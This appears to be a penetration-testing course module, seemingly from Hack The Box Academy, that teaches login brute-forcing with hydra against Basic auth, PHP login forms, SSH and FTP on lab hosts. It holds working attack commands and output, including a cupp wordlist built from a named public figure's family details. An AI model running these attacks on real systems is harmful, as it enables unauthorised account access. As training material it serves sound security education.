The cheat sheet is a useful command reference for this module.
| Command | Description |
|---|---|
hydra -h |
hydra help |
hydra -C wordlist.txt SERVER_IP -s PORT http-get / |
Basic Auth Brute Force - Combined Wordlist |
hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get / |
Basic Auth Brute Force - User/Pass Wordlists |
hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'" |
Login Form Brute Force - Static User, Pass Wordlist |
hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4 |
SSH Brute Force - User/Pass Wordlists |
hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1 |
FTP Brute Force - Static User, Pass Wordlist |
| Command | Description |
|---|---|
/opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt |
Default Passwords Wordlist |
/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt |
Common Passwords Wordlist |
/opt/useful/SecLists/Usernames/Names/names.txt |
Common Names Wordlist |
| Command | Description |
|---|---|
cupp -i |
Creating Custom Password Wordlist |
sed -ri '/^.{,7}$/d' william.txt |
Remove Passwords Shorter Than 8 |
sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt |
Remove Passwords With No Special Chars |
sed -ri '/[0-9]+/!d' william.txt |
Remove Passwords With No Numbers |
./username-anarchy Bill Gates > bill.txt |
Generate Usernames List |
ssh b.gates@SERVER_IP -p PORT |
SSH to Server |
ftp 127.0.0.1 |
FTP to Server |
su - user |
Switch to User |
A Brute Force attack is a method of attempting to guess passwords or keys by automated probing. An example of a brute-force attack is password cracking. Passwords are usually not stored in clear text on the systems but as hash values.
Here is a small list of files that can contain hashed passwords:
Windows |
Linux |
|---|---|
| unattend.xml | shadow |
| sysprep.inf | shadow.bak |
| SAM | password |
Since the password cannot be calculated backward from the hash value, the brute force method determines the hash values belonging to the randomly selected passwords until a hash value matches the stored hash value. In this case, the password is found. This method is also called offline brute-forcing. This module will focus on online brute-forcing and explicitly deal with the websites' login forms.
On most websites, there is always a login area for administrators, authors, and users somewhere. Furthermore, usernames are often recognizable on the web pages, and complex passwords are rarely used because they are difficult to remember. Therefore it is worth using the online brute forcing method after a proper enumeration if we could not identify any initial foothold.
There are many tools and methods to utilize for login brute-forcing, like:
NcrackwfuzzmedusapatatorhydraIn this module, we will be mainly using hydra, as it is one of the most common and reliable tools available.
The following topics will be discussed:
We found an unusual host on the network during our black box penetration test and had a closer look at it. We discovered a web server on it that is running on a non-standard port. Many web servers or individual contents on the web servers are still often used with the Basic HTTP AUTH scheme. Like in our case, we found such a webserver with such a path, which should arouse some curiosity.
The HTTP specification provides two parallel authentication mechanisms:
Basic HTTP AUTH is used to authenticate the user to the HTTP server.Proxy Server Authentication is used to authenticate the user to an intermediate proxy server.These two mechanisms work very similarly as they use requests, response status codes, and response headers. However, there are differences in the status codes and header names used.
The Basic HTTP Authentication scheme uses user ID and password for authentication. The client sends a request without authentication information with its first request. The server's response contains the WWW-Authenticate header field, which requests the client to provide the credentials. This header field also defines details of how the authentication has to take place. The client is asked to submit the authentication information. In its response, the server transmits the so-called realm, a character string that tells the client who is requesting the data. The client uses the Base64 method for encoding the identifier and password. This encoded character string is transmitted to the server in the Authorization header field.

As we don't have any credentials, nor do we have any other ports available, and no services or information about the webserver to be able to use or attack, the only option left is to utilize password brute-forcing.
There are several types of password attacks, such as:
| Password Attack Type |
|---|
Dictionary attack |
Brute force |
Traffic interception |
Man In the Middle |
Key Logging |
Social engineering |
We will mainly focus on Brute Force and Dictionary Attacks. Both of these attacks will find the password by brute forcing the service.
A Brute Force Attack does not depend on a wordlist of common passwords, but it works by trying all possible character combinations for the length we specified. For example, if we specify the password's length as 4, it would test all keys from aaaa to zzzz, literally brute forcing all characters to find a working password.
However, even if we only use lowercase English characters, this would have almost half a million permutations -26x26x26x26 = 456,976-, which is a huge number, even though we only have a password length of 4.
Once the password length starts to increase, and we start testing for mixed casings, numbers, and special characters, the time it would take to brute force, these passwords can take millions of years.
All of this shows that relying completely on brute force attacks is not ideal, and this is especially true for brute-forcing attacks that take place over the network, like in hydra.\
That is why we should consider methods that may increase our odds of guessing the correct password, like Dictionary Attacks.
A Dictionary Attack tries to guess passwords with the help of lists. The goal is to use a list of known passwords to guess an unknown password. This method is useful whenever it can be assumed that passwords with reasonable character combinations are used.
Luckily, there is a huge number of passwords wordlist, consisting of the most commonly used passwords found in tests and database leaks.
We can check out the SecLists repo for wordlists, as it has a huge variety of wordlists, covering many types of attacks.\
We can find password wordlists in our PwnBox in /opt/useful/SecLists/Passwords/, and username wordlists in /opt/useful/SecLists/Usernames/.
There are many methodologies to carry a Login Brute Force attacks:
| Attack | Description |
| Online Brute Force Attack | Attacking a live application over the network, like HTTP, HTTPs, SSH, FTP, and others |
| Offline Brute Force Attack | Also known as Offline Password Cracking, where you attempt to crack a hash of an encrypted password. |
| Reverse Brute Force Attack | Also known as username brute-forcing, where you try a single common password with a list of usernames on a certain service. |
| Hybrid Brute Force Attack | Attacking a user by creating a customized password wordlist, built using known intelligence about the user or the service. |
Default passwords are often used for user accounts for testing purposes. They are easy to remember and are also used for default accounts of services and applications intended to simplify first access. It is not uncommon for such user accounts to be overlooked or forgotten. Due to the natural laziness of man, everyone tries to make it as comfortable as possible. This, in turn, leads to inattentiveness and the resulting errors, which can harm the company's infrastructure.
As we saw when we visited the website, it prompted the Basic HTTP Authentication form to input the username and password. Basic HTTP Authentication usually responses with an HTTP 401 Unauthorized response code. As we mentioned previously, we will resort to a Brute Forcing attack, as we do not have enough information to attempt a different type of attack, which we will cover in this section.
Hydra is a handy tool for Login Brute Forcing, as it covers a wide variety of attacks and services and is relatively fast compared to the others. It can test any pair of credentials and verify whether they are successful or not but in huge numbers and a very quick manner.
If we want to use it on our own machine, we can either use "apt install hydra -y" or download it and use it from its Github Repository but its pre-installed on Pwnbox.
We can take a look at the options that hydra provides and see its flags and examples of how it can be used:
Default Passwords
root@htb[/htb]$ hydra -h
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
Options:
<...SNIP...>
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-u loop around users, not passwords (effective! implied with -x)
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
<...SNIP...>
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
As we don't know which user to brute force, we will have to brute force both fields. We can either provide different wordlists for the usernames and passwords and iterate over all possible username and password combinations. However, we should keep this as a last resort.
It is very common to find pairs of usernames and passwords used together, especially when default service passwords are kept unchanged. That is why it is better to always start with a wordlist of such credential pairs -e.g. test:test-, and scan all of them first.
This should not take a long time, and if we could not find any working pairs, we would move to use separate wordlists for each or search for the top 100 most common passwords that can be used.
We can find a list of default password login pairs in the SecLists repository as well, specifically in the /opt/useful/SecLists/Passwords/Default-Credentials directory within Pwnbox. In this case, we will pick ftp-betterdefaultpasslist.txt as it seems to be the most relevant to our case since it contains a variety of default user/password combinations. We will be using the following flags, based on help page above:
| Options | Description |
|---|---|
-C ftp-betterdefaultpasslist.txt |
Combined Credentials Wordlist |
SERVER_IP |
Target IP |
-s PORT |
Target Port |
http-get |
Request Method |
/ |
Target Path |
The assembled command results:
Default Passwords
root@htb[/htb]$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.211.23.155 -s 31099 http-get /
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking http-get://178.211.23.155:31099/
[31099][http-get] host: 178.211.23.155 login: test password: testingpw
[STATUS] attack finished for 178.211.23.155 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
It's pretty common for administrators to overlook test or default accounts and their credentials. That is why it is always advised to start by scanning for default credentials, as they are very commonly left unchanged. It is even worth testing for the top 3-5 most common default credentials manually, as it can very often be found to be used.
We can visit the website again and try the same pair to verify that they do work:

As we can see, we do get access, and the pair indeed works. Next, we can try to attempt running the second type of scan by separate user wordlists for usernames and passwords and see how long it takes to find the same pair we just identified.
We now know the basic usage of hydra, so let us try another example of attacking HTTP basic auth by using separate wordlists for usernames and passwords.
One of the most commonly used password wordlists is rockyou.txt, which has over 14 million unique passwords, sorted by how common they are, collected from online leaked databases of passwords and usernames. Basically, unless a password is truly unique, this wordlist will likely contain it. Rockyou.txt already exists in our Pwnbox. If we were using hydra on a local VM, we could download this wordlist from the Hashcat GitHub Repository. We can find it in the following directory:
Username Brute Force
root@htb[/htb]$ locate rockyou.txt
/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt
As for our usernames wordlist, we will utilize the following wordlist from SecLists:
Username Brute Force
root@htb[/htb]$ locate names.txt
/opt/useful/SecLists/Usernames/Names/names.txt
This is a short list of common usernames that may be found on any server.
Hydra requires at least 3 specific flags if the credentials are in one single list to perform a brute force attack against a web service:
CredentialsTarget HostTarget PathCredentials can also be separated by usernames and passwords. We can use the -L flag for the usernames wordlist and the -P flag for the passwords wordlist. Since we don't want to brute force all the usernames in combination with the passwords in the lists, we can tell hydra to stop after the first successful login by specifying the flag -f.
Tip: We will add the "-u" flag, so that it tries all users on each password, instead of trying all 14 million passwords on one user, before moving on to the next.
root@htb[/htb]$ hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -u -f 178.35.49.134 -s 32901 http-get /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 243854766 login tries (l:17/p:14344398), ~15240923 tries per task
[DATA] attacking http-get://178.35.49.134:32901/
[STATUS] 9105.00 tries/min, 9105 tries in 00:01h, 243845661 to do in 446:22h, 16 active
<...SNIP...>
[32901][http-get] host: 178.35.49.134 login: thomas password: thomas1
[STATUS] attack finished for SERVER_IP (valid pair found)
1 of 1 target successfully completed, 1 valid password found
We see that we can still find the same working pair, but in this case, it took much longer to find them, taking nearly 30 minutes to do so. This is because while default passwords are commonly used together, they clearly are not among the top when it comes to individual wordlists. So, either the username or the password is buried deep into our wordlist, taking much longer to reach.
If we were to only brute force the username or password, we could assign a static username or password with the same flag but lowercase. For example, we can brute force passwords for the test user by adding -l test, and then adding a password word list with -P rockyou.txt.
Since we already found the password in the previous section, we may statically assign it with the "-p" flag, and only brute force for usernames that might use this password.
root@htb[/htb]$ hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -p amormio -u -f 178.35.49.134 -s 32901 http-get /
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 17 login tries (l:17/p:1), ~2 tries per task
[DATA] attacking http-get://178.35.49.134:32901/
[32901][http-get] host: 178.35.49.134 login: abbas password: amormio
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
Since we found a login form on the webserver for administrators during our penetration testing engagement, it is a very interesting component to which we should try to gain access without generating much network traffic. Finally, with the admin panels, we can manage servers, their services, and configurations. Many admin panels have also implemented features or elements such as the b374k shell that might allow us to execute OS commands directly.

To cause as little network traffic as possible, it is recommended to try the top 10 most popular administrators' credentials, such as admin:admin.
If none of these credentials grant us access, we could next resort to another widespread attack method called password spraying. This attack method is based on reusing already found, guessed, or decrypted passwords across multiple accounts. Since we have been redirected to this admin panel, the same user may have access here.
Hydra provides many different types of requests we can use to brute force different services. If we use hydra -h, we should be able to list supported services:
Hydra Modules
root@htb[/htb]$ hydra -h | grep "Supported services" | tr ":" "\n" | tr " " "\n" | column -e
Supported ldap3[-{cram|digest}md5][s] rsh
services memcached rtsp
mongodb s7-300
adam6500 mssql sip
asterisk mysql smb
cisco nntp smtp[s]
cisco-enable oracle-listener smtp-enum
cvs oracle-sid snmp
firebird pcanywhere socks5
ftp[s] pcnfs ssh
http[s]-{head|get|post} pop3[s] sshkey
http[s]-{get|post}-form postgres svn
http-proxy radmin2 teamspeak
http-proxy-urlenum rdp telnet[s]
icq redis vmauthd
imap[s] rexec vnc
irc rlogin xmpp
ldap2[s] rpcap
In this situation there are only two types of http modules interesting for us:
http[s]-{head|get|post}http[s]-post-formThe 1st module serves for basic HTTP authentication, while the 2nd module is used for login forms, like .php or .aspx and others.
Since the file extension is ".php" we should try the http[s]-post-form module. To decide which module we need, we have to determine whether the web application uses GET or a POST form. We can test it by trying to log in and pay attention to the URL. If we recognize that any of our input was pasted into the URL, the web application uses a GET form. Otherwise, it uses a POST form.

When we try to log in with any credentials and don't see any of our input in the URL, and the URL does not change, we know that the web application uses a POST form.
Based on the URL scheme at the beginning, we can determine whether this is an HTTP or HTTPS post-form. If our target URL shows http, in this case, we should use the http-post-form module.
To find out how to use the http-post-form module, we can use the "-U" flag to list the parameters it requires and examples of usage:
Hydra Modules
root@htb[/htb]$ hydra http-post-form -U
<...SNIP...>
Syntax: <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
First is the page on the server to GET or POST to (URL).
Second is the POST/GET variables ...SNIP... usernames and passwords being replaced in the
"^USER^" and "^PASS^" placeholders
The third is the string that it checks for an *invalid* login (by default)
Invalid condition login check can be preceded by "F=", successful condition
login check must be preceded by "S=".
<...SNIP...>
Examples:
"/login.php:user=^USER^&pass=^PASS^:incorrect"
In summary, we need to provide three parameters, separated by :, as follows:
URL path, which holds the login formPOST parameters for username/passwordA failed/success login string, which lets hydra recognize whether the login attempt was successful or notFor the first parameter, we know the URL path is:
Hydra Modules
/login.php
The second parameter is the POST parameters for username/passwords:
Hydra Modules
/login.php:[user parameter]=^USER^&[password parameter]=^PASS^
The third parameter is a failed/successful login attempt string. We cannot log in, so we do not know how the page would look like after a successful login, so we cannot specify a success string to look for.
Hydra Modules
/login.php:[user parameter]=^USER^&[password parameter]=^PASS^:[FAIL/SUCCESS]=[success/failed string]
To make it possible for hydra to distinguish between successfully submitted credentials and failed attempts, we have to specify a unique string from the source code of the page we're using to log in. Hydra will examine the HTML code of the response page it gets after each attempt, looking for the string we provided.
We can specify two different types of analysis that act as a Boolean value.
| Type | Boolean Value | Flag |
|---|---|---|
Fail |
FALSE | F=html_content |
Success |
TRUE | S=html_content |
If we provide a fail string, it will keep looking until the string is not found in the response. Another way is if we provide a success string, it will keep looking until the string is found in the response.
Since we cannot log in to see what response we would get if we hit a success, we can only provide a string that appears on the logged-out page to distinguish between logged-in and logged-out pages.\
So, let's look for a unique string so that if it is missing from the response, we must have hit a successful login. This is usually set to the error message we get upon a failed login, like Invalid Login Details. However, in this case, it is a little bit trickier, as we do not get such an error message. So is it still possible to brute force this login form?
We can take a look at our login page and try to find a string that only shows in the login page, and not afterwards. For example, one distinct string is Admin Panel:

So, we may be able to use Admin Panel as our fail string. However, this may lead to false-positives because if the Admin Panel also exists in the page after logging in, it will not work, as hydra will not know that it was a successful login attempt.
A better strategy is to pick something from the HTML source of the login page.\
What we have to pick should be very unlikely to be present after logging in, like the login button or the password field. Let's pick the login button, as it is fairly safe to assume that there will be no login button after logging in, while it is possible to find something like please change your password after logging in.
We can click [Ctrl + U] in Firefox to show the HTML page source, and search for login:
Code: html
<form name='login' autocomplete='off' class='form' action='' method='post'>
We see it in a couple of places as title/header, and we find our button in the HTML form shown above. We do not have to provide the entire string, so we will use <form name='login', which should be distinct enough and will probably not exist after a successful login.
So, our syntax for the http-post-form should be as follows:
Code: bash
"/login.php:[user parameter]=^USER^&[password parameter]=^PASS^:F=<form name='login'"
We can easily find POST parameters if we intercept the login request with Burp Suite or take a closer look at the admin panel's source code.
One of the easiest ways to capture a form's parameters is through using a browser's built in developer tools. For example, we can open firefox within PwnBox, and then bring up the Network Tools with [CTRL + SHIFT + E].
Once we do, we can simply try to login with any credentials (test:test) to run the form, after which the Network Tools would show the sent HTTP requests. Once we have the request, we can simply right-click on one of them, and select Copy > Copy POST data:

This would give us the following POST parameters:
Code: bash
username=test&password=test
Another option would be to used Copy > Copy as cURL, which would copy the entire cURL command, which we can use in the Terminal to repeat the same HTTP request:
Determine Login Parameters
root@htb[/htb]$ curl 'http://178.128.40.63:31554/login.php' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://178.128.40.63:31554' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://178.128.40.63:31554/login.php' -H 'Cookie: PHPSESSID=8iafr4t6c3s2nhkaj63df43v05' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-GPC: 1' --data-raw 'username=test&password=test'
As we can see, this command also contains the parameters --data-raw 'username=test&password=test'.
In case we were dealing with a web page that sends many HTTP requests, it may be easier to use Burp Suite in order to go through all sent HTTP requests, and pick the ones we are interested in. To do that, we will first start BurpSuite from Application Dock at the bottom in Pwnbox, skip all the messages until the application starts, and then Click on the Proxy tab:

Next, We will go to Firefox and enable the Burp Proxy by clicking on the FoxyProxy button in Firefox, and then choosing Burp, as seen in the screenshot below:

Now, all we will do is attempt a login with any username/password 'e.g. admin:admin', and go back to BurpSuite, to find the login request captured: 
Tip: If we find another request captured, we can click "Forward" until we reach our request from "/login.php".
What we need from the above-captured string is the very last line:
Code: bash
username=admin&password=admin
To use in a hydra http-post-form, we can take it as is, and replace the username/password we used admin:admin with ^USER^ and ^PASS^. The specification of our final target path should be as follows:
Code: bash
"/login.php:username=^USER^&password=^PASS^:F=<form name='login'"
In our situation, we don't have any information about the existing usernames or passwords. Since we enumerated all available ports to us and we couldn't determine any useful information, we have the option to test the web application form for default credentials in combination with the http-post-form module.
Let's try to use the ftp-betterdefaultpasslist.txt list with the default credentials to test if one of the accounts is registered in the web application.
Login Form Attacks
root@htb[/htb]$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"
Hydra v9.1 (c) d020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking http-post-form://178.35.49.134:32901/login.php:username=^USER^&password=^PASS^:F=<form name='login'
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
As we can see, we were not able to identify any working credentials. Still, this only took a few seconds, and we ruled out the use of default passwords. Now, we can move on to use a password wordlist.
Since the brute force attack failed using default credentials, we can try to brute force the web application form with a specified user. Often usernames such as admin, administrator, wpadmin, root, adm, and similar are used in administration panels and are rarely changed. Knowing this fact allows us to limit the number of possible usernames. The most common username administrators use is admin. In this case, we specify this username for our next attempt to get access to the admin panel.
Login Form Attacks
root@htb[/htb]$ hydra -l admin -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -f 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://178.35.49.134:32901/login.php:username=^USER^&password=^PASS^:F=<form name='login'
[PORT][http-post-form] host: 178.35.49.134 login: admin password: password123
[STATUS] attack finished for 178.35.49.134 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
We can try to log in with these credentials now:
To create a personalized wordlist for the user, we will need to collect some information about them. As our example here is a known public figure, we can check out their Wikipedia page or do a basic Google search to gather the necessary information. Even if this was not a known figure, we can still carry out the same attack and create a personalized wordlist for them. All we need to do is gather some information about them, which is discussed in detail in the Hashcat module, so feel free to check it out.
Many tools can create a custom password wordlist based on certain information. The tool we will be using is cupp, which is pre-installed in your PwnBox. If we are doing the exercise from our own VM, we can install it with sudo apt install cupp or clone it from the Github repository. Cupp is very easy to use. We run it in interactive mode by specifying the -i argument, and answer the questions, as follows:
Personalized Wordlists
root@htb[/htb]$ cupp -i
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: William
> Surname: Gates
> Nickname: Bill
> Birthdate (DDMMYYYY): 28101955
> Partners) name: Melinda
> Partners) nickname: Ann
> Partners) birthdate (DDMMYYYY): 15081964
> Child's name: Jennifer
> Child's nickname: Jenn
> Child's birthdate (DDMMYYYY): 26041996
> Pet's name: Nila
> Company name: Microsoft
> Do you want to add some key words about the victim? Y/[N]: Phoebe,Rory
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]:y
> Leet mode? (i.e. leet = 1337) Y/[N]: y
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to william.txt, counting 43368 words.
[+] Now load your pistolero with william.txt and shoot! Good luck!
And as a result, we get our personalized password wordlist saved as william.txt.
The personalized password wordlist we generated is about 43,000 lines long. Since we saw the password policy when we logged in, we know that the password must meet the following conditions:
So, we can remove any passwords that do not meet these conditions from our wordlist. Some tools would convert password policies to Hashcat or John rules, but hydra does not support rules for filtering passwords. So, we will simply use the following commands to do that for us:
Code: bash
sed -ri '/^.{,7}$/d' william.txt # remove shorter than 8
sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt # remove no special chars
sed -ri '/[0-9]+/!d' william.txt # remove no numbers
We see that these commands shortened the wordlist from 43k passwords to around 13k passwords, around 70% shorter.
It is still possible to create many permutations of each word in that list. We never know how our target thinks when creating their password, and so our safest option is to add as many alterations and permutations as possible, noting that this will, of course, take much more time to brute force.
Many great tools do word mangling and case permutation quickly and easily, like rsmangler or The Mentalist. These tools have many other options, which can make any small wordlist reach millions of lines long. We should keep these tools in mind because we might need them in other modules and situations.
As a starting point, we will stick to the wordlist we have generated so far and not perform any mangling on it. In case our wordlist does not hit a successful login, we will go back to these tools and perform some mangling to increase our chances of guessing the password.
Tip: The more mangled a wordlist is, the more chances you have to hit a correct password, but it will take longer to brute force. So, always try to be efficient, and properly customize your wordlist using the intelligence you gathered.
We should also consider creating a personalized username wordlist based on the person's available details. For example, the person's username could be b.gates or gates or bill, and many other potential variations. There are several methods to create the list of potential usernames, the most basic of which is simply writing it manually.
One such tool we can use is Username Anarchy, which we can clone from GitHub, as follows:
Personalized Wordlists
root@htb[/htb]$ git clone https://github.com/urbanadventurer/username-anarchy.git
Cloning into 'username-anarchy'...
remote: Enumerating objects: 386, done.
remote: Total 386 (delta 0), reused 0 (delta 0), pack-reused 386
Receiving objects: 100% (386/386), 16.76 MiB | 5.38 MiB/s, done.
Resolving deltas: 100% (127/127), done.
This tool has many use cases that we can take advantage of to create advanced lists of potential usernames. However, for our simple use case, we can simply run it and provide the first/last names as arguments, and forward the output into a file, as follows:
Code: bash
./username-anarchy Bill Gates > bill.txt
We should finally have our username and passwords wordlists ready and we could attack the SSH server.
The command used to attack a login service is fairly straightforward. We simply have to provide the username/password wordlists, and add service://SERVER_IP:PORT at the end. As usual, we will add the -u -f flags. Finally, when we run the command for the first time, hydra will suggest that we add the -t 4 flag for a max number of parallel attempts, as many SSH limit the number of parallel connections and drop other connections, resulting in many of our attempts being dropped. Our final command should be as follows:
Service Authentication Brute Forcing
root@htb[/htb]$ hydra -L bill.txt -P william.txt -u -f ssh://178.35.49.134:22 -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 157116 login tries (l:12/p:13093), ~39279 tries per task
[DATA] attacking ssh://178.35.49.134:22/
[STATUS] 77.00 tries/min, 77 tries in 00:01h, 157039 to do in 33:60h, 4 active
[PORT][ssh] host: 178.35.49.134 login: b.gates password: ...SNIP...
[STATUS] attack finished for 178.35.49.134 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
We see that it takes some time to finish, but eventually, we get a working pair, and we identify the user b.gates. Now, we can attempt ssh-ing in using the credentials we got:
Service Authentication Brute Forcing
root@htb[/htb]$ ssh b.gates@178.35.49.134 -p 22
b.gates@SERVER_IP's password: ********
b.gates@bruteforcing:~$ whoami
b.gates
As we can see, we can SSH in, and get a shell on the server.
Once we are in, we can check out what other users are on the system:
Service Authentication Brute Forcing
b.gates@bruteforcing:~$ ls /home
b.gates m.gates
We notice another user, m.gates. We also notice in our local recon that port 21 is open locally, indicating that an FTP must be available:
Service Authentication Brute Forcing
b.gates@bruteforcing:~$ netstat -antp | grep -i list
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp 0 0 127.0.0.1:21 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
Next, we can try brute forcing the FTP login for the m.gates user now.
Note 1: Sometimes administrators test their security measures and policies with different tools. In this case, the administrator of this web server kept "hydra" installed. We can benefit from it and use it against the local system by attacking the FTP service locally or remotely.
Note 2: "rockyou-10.txt" can be found in "/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou-10.txt", which contains 92 passwords in total. This is a shorter version of "rockyou.txt" which includes 14,344,391 passwords.
So, similarly to how we attacked the SSH service, we can perform a similar attack on FTP:
Service Authentication Brute Forcing
b.gates@bruteforcing:~$ hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 92 login tries (l:1/p:92), ~6 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: m.gates password: <...SNIP...>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
We can now attempt to FTP as that user, or even switch to that user. Let us try both:
b.gates@bruteforcing:~$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 (vsFTPd 3.0.3)
Name (127.0.0.1:b.gates): m.gates
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw------- 1 1001 1001 33 Sep 11 00:06 flag.txt
226 Directory send OK.
And to switch to that user:
b.gates@bruteforcing:~$ su - m.gates
Password: *********
m.gates@bruteforcing:~$
m.gates@bruteforcing:~$ whoami
m.gates